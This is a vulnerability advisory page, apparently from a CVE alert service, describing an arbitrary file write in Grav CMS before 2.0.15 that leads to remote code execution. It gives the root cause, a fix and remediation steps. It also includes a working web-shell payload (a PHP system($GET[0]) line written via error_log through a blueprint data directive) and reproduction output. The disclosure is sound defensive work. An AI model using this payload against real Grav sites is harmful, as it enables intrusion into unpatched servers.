CVE-2026-75827: Grav before 2.0.15 Arbitrary File Write via error_log

Published Aug 18, 2026
·
Updated

Affected versions and vulnerable location

- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Sinks: - system/src/Grav/Common/Data/Blueprint.php:455-458 calluserfuncarray($o, $params) (bare-function dynamic-data provider). - Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 calluserfuncarray($function, $params). - Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536. - Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables. - Bare-function branch (:530-534) uses only a denylist: if (isstring($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

errorlog is not on the denylist (verified: no occurrence in Utils.php). errorlog($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (streamsocketclient, dl, and mbsendmail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['errorlog', '<?php system($GET[0]); ?>', 3, 'user/data/x.php']. 2. Blueprint::init() resolves the directive; isSafeDynamicCall('errorlog', $params) reaches the bare-function branch (:530), isDangerousFunction('errorlog') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true. 3. calluserfuncarray('errorlog', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct errorlog write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

text [1] isSafeDynamicCall('errorlog', [payload,3,dest]) => true # guard ACCEPTS errorlog (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] calluserfuncarray('errorlog', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/gravrceproof.php']) file written: /tmp/gravrceproof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/gravrceproof.php => PWNED # arbitrary PHP executed (RCE)

The guard returns true for errorlog (and false for the denylisted system/exec controls), the errorlog sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

bash rg -n "errorlog|streamsocketclient|mbsendmail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|calluserfuncarray" system/src/Grav/Common/Data/Blueprint.php

errorlog absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.

Suggested fix

Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: errorlog (arbitrary append), streamsocketclient (SSRF), and others must otherwise each be enumerated.

Severity and CVSS reasoning

Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.

- PR:L: a blueprint/page-edit account, not super. - C:H/I:H/A:H: arbitrary file write leading to code execution.

How I found it and a note on tooling

I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found errorlog missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts errorlog and rejects system/exec, and drove the errorlog sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.

Other sources

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the errorlog function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

— MITRE

Affected Software

2 affected componentsFixes available
Grav Grav<2.0.15
composer/getgrav/grav<=2.0.14
2.0.15

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.15
  2. Upgrade

    Upgrade grav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.15Patch GHSA-7pgq/CVE-2026-64850
  3. Configuration

    Change the bare-function branch of Blueprint::isSafeDynamicCall() (around :530-534, currently using Utils::isDangerousFunction) to a strict positive allowlist of first-party option-provider functions, symmetric with the Class::method allowlist (around :523). This specifically prevents allowing 'error_log' which is currently accepted by the denylist and reaches call_user_func_array('error_log', ...) at system/src/Grav/Common/Data/Blueprint.php:455-458, leading to arbitrary file append/write and RCE.

    Grav Blueprint dynamic-data provider (system/src/Grav/Common/Data/Blueprint.php) isSafeDynamicCall(): bare-function validation = Replace denylist (Utils::isDangerousFunction) with positive allowlist (like self::$allowedDynamicCallables used in Class::method branch)

Event History

Aug 18, 2026
CVE Published
via MITRE·11:19 AM
Data Sourced
via MITRE·11:19 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·12:19 PM
DescriptionSeverityWeakness
Sep 17, 2026
Advisory Published
via GitHub·08:44 PM
Data Sourced
via GitHub·08:44 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What level of access does an attacker need to exploit this issue?

An attacker must already have page-edit or blueprint-configuration access. The vulnerable dynamic-data handling can then be used to invoke error_log and append a PHP payload to a web-accessible file.

2

What can an attacker do after successful exploitation?

The described impact is remote code execution after the attacker writes a PHP payload into a web-accessible file. Exploitation does not require user interaction.

3

Which versions need to be remediated?

Upgrade Grav to 2.0.15 or later. The affected versions are Grav releases before 2.0.15.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203